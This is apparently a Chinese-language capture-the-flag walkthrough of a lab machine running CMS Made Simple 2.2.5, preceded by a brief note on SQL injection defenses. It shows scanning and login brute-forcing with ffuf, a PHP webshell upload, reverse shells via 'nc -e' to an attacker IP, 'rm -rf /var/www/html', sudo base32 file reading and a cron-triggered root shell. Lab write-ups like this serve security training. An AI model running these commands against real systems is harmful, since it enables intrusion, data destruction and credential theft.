文章目录
每日一学
No2.SQL注入防御
代码层防御:
1.对用户输入的内容进行转义(如PHP中的addslashes())
2.过滤关键字输入(如PHP中的preg_replace())
3.对SQL语句进行预编译,进行参数绑定,用户输入只为参数,就算有非法输入也只是作为参数,而不是组合成新的语句造成非预期效果
网络层面防御:
防火墙,WAF等
信息收集
先来扫网段
nmap -sP 192.168.2.0/24
接着继续扫端口扫服务
nmap -sC -sV -p- 192.168.2.16
开了SSH,HTTP,貌似还开了个代理,这里面给我们写了一句话,可能是要我们去理解这段话的意思
打开网站发现是一套建站程序 CMS made simple
漏洞库发现了一大堆漏洞,那么先来想个办法确认一下版本信息
在网站底部发现是2.2.5版本
2.2.5有一个RCE
把这个exp下载下来,修改下面这些配置文件,我们发现这里需要用户名和密码,还需要一些路径信息,那么我们接下来先搜集一下这些信息
扫一下目录
gobuster dir -w directory-list-2.3-medium.txt -u http://192.168.2.16/ -x txt,html,zip
扫到了这些东西,一个个的慢慢看,看了一圈没发现什么有用的,只把几个目录确定下来了,回顾之前扫到的给我们写的信息
这里面的信息,总结起来就是停止我们愚蠢的行为让我们回paul的家看看,是不是要让我们回首页的意思
message for www-data:www-data i offer you a dilemma if you agree to destroy all your setupid work,then you have a reward in my house
Paul
在网页下方我看到了一个新的模块安装,用户是admin
那么根据网站尝试生成一个字典跑一下
cewl -d 2 -with-numbers -m 4 http://192.168.2.16/index.php -w dict.txt
接着burp抓包,提取一些关键信息
username=admin&password=123&loginsubmit=%E6%8F%90%E4%BA%A4
Content-Type: application/x-www-form-urlencoded
登录失败返回长度 4581
使用ffuf进行爆破
ffuf -u "http://192.168.2.16/admin/login.php" \
-X POST -H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin&password=FUZZ&loginsubmit=%E6%8F%90%E4%BA%A4" \
-w dict.txt -fs 4581
最终使用这个字典没跑出来,只能上rockyou了
ffuf -u "http://192.168.2.16/admin/login.php" \
-X POST -H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin&password=FUZZ&loginsubmit=%E6%8F%90%E4%BA%A4" \
-w /root/tools/rockyou.txt -fs 4581
几乎一瞬间就跑到结果了
漏洞利用
这里本来想直接用这个exp的,但是总报错,看了漏洞原理,直接上手吧
首先登录成功后上传一个文本格式的php马
然后选中复制
修改文件名为php后缀
此时上传成功
成功拿到webshell
蚁剑连接反弹一下shell,然后再提升一下权限
nc -e /bin/sh 192.168.2.7 4444
python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
在网站根目录下发现config.php,然后这个密码叫超安全密码····
切换到home目录发现2个用户,一个paul一个nico
找了一圈,什么东西都没有,这个时候想起了之前让我们毁掉行为然后去paul的家看看,我当初还以为是让我们回根目录找版本信息,现在想想可能是/home/paul,但是我确信,这里啥也没有
这里没办法了,只能上脚本收集信息了
python3 -m http.server
wget http://192.168.2.7:8000/pspy64
wget http://192.168.2.7:8000/linpeas.sh
我发现了一个在paul目录下的脚本每秒都在执行,并且一直在执行 ls -A /var/www/html,我本想进去找到这个脚本一探究竟,但是显然我没有权限,到了这一步既然这个脚本在检查html目录,并且提示让我们destory我们的工作,是不是可能是让我们把html目录删了,这样ls -A /var/www/html的返回值就会发生改变
说干就干
rm -rf /var/www/html
果然,当我们删除html下的文件时home目录出现了password.txt,拿到密码YouCanBecomePaul
权限提升
成功拿到第一个用户权限,但是好像没看到flag
由于之前输入sudo是需要密码的,这个时候我们有密码,就看看有没有什么发现,我们有一个base32可以使用
幸运的是我找到了base32的用法
既然可以任意读文件的话,我之前在收集信息的时候看到了在nico的目录下有一个.secret.txt,尝试读取一下
sudo -u nico base32 "/home/nico/.secret.txt" | sudo -u nico base32 --decode
但是我没有用base32解密出来,我一度以为哪里出错了,直到我意识到base32的末尾通常是3个=,而base64是两个=,我意识到我可能被耍了
使用base64解码成功 just_one_more_beer
至此,拿到第一个flag
之前还是www-data的时候在根目录下发现过一个nico的目录,当时没权限进去,现在进去看看
发现了一张图片,搞出来解密看看
这里学到了一手新的传输文件的方法,scp
scp nico@192.168.2.16:/nico/homer.jpg
使用stegseek破解
stegseek target.jpg
cat target.jpg.out
他说/tmp/下有一个goodgame文件丢失了,这里可能是要我们去找个目录下创建一下goodgame,并把我期望执行的语句放进去
echo "nc -e /bin/bash 192.168.2.7 6543" >goodgame
chmod +x goodgame
提权成功
总结
总结:这套靶机做起来还是挺有意思的,从收集到admin用户爆破出密码到通过CMS版本得到漏洞拿到webshell,这里面涉及了三次提权,从www-data到paul再到nico最终到root,www-data到paul其实是一步大胆的操作,因为删除了html目录下的所有文件,然后就是paul到nico,通过sudo发现base32命令,直接读取nico目录下的secret.txt拿到nico的权限,最终就是通过发现根目录下的nico目录获得一张隐写的图片,然后通过对隐写图片的解密,得到要在/tmp目录下写一个叫做goodgame的文件,内容为反弹shell即可拿到root权限。